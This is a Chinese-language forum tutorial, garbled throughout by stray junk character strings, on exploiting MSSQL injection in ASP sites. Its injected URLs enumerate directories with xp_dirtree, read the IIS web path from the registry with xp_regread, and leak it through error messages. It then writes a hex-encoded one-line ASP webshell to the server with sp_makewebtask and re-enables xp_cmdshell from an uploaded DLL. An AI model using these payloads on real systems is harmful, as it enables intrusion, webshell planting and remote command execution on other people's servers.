MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示

  T5 H) Y0 X5 ]* P  @subdirectory depth
test1 1
" h$ W" S# }" e) s  o! D$ u+ B  r+ d9 Rtest3 2
. h8 J0 a- i! B- p& `7 J8 Dtest2 1
+ e. w! `6 j, r$ X: ?3 H
哈哈发现没有那个depth就是目录的级数
ok了，知道怎么办了吧
4 C, g! b" x9 H* l5 e4 F
$ b5 ^! u2 b' _( Ahttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
$ F% ~5 _$ M7 t3 D5 l& i3 [
# x- R- [8 V2 F; z% }/ S% D; k只要加上id＝1，就是第一级目录 。

9 c" U: Z- g8 V7 i' P! i
) R* ^! q% A9 {! N% [" V! R通过注册表读网站路径:

, ^' @0 d; L3 W8 U, L3 w8 `1.;create table [dbo].[cyfd] ([gyfd][char](255));
  |9 E6 v6 d9 E0 s
5 v, i( p0 c: u6 @' K7 B2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--

3.and 1=(select count(*) from 临时表 where 临时字段名>1)
; k, }; c" }1 E+ u9 W# e/ D% E% y9 V, |and 1=(select count(*) from cyfd where gyfd > 1)
! X6 M( @4 X) ]- ]- m这样IE报错,就把刚才插进去的Web路径的值报出来了
+ B3 _* Q) a# l* S% @1 z9 X
4.drop table cyfd;-- 删除临时表

获得webshell方法:
1.create table cmd (a image)-- \**cmd是创建的临时表

2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
- [( P  q0 L: A9 `# q: _  e" x" P. u( z
) T' u7 ?" i2 \% d/ W
# _. d  T6 ?) _9 b! J3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
, E0 w  ~1 Y/ X0 b
5 O+ M" A* J  i3 M' o% R! Z4.drop table cmd;-- 删除cmd临时表
+ t/ p7 k  }$ X8 x
5 y( Z9 z1 }" E3 d6 v- p+ c恢复xp_cmdshell方法之一:
' i) ~5 @" Q/ Y8 B4 n我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
$ e/ p" m+ ]' _" c0 I" s5 S9 zhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）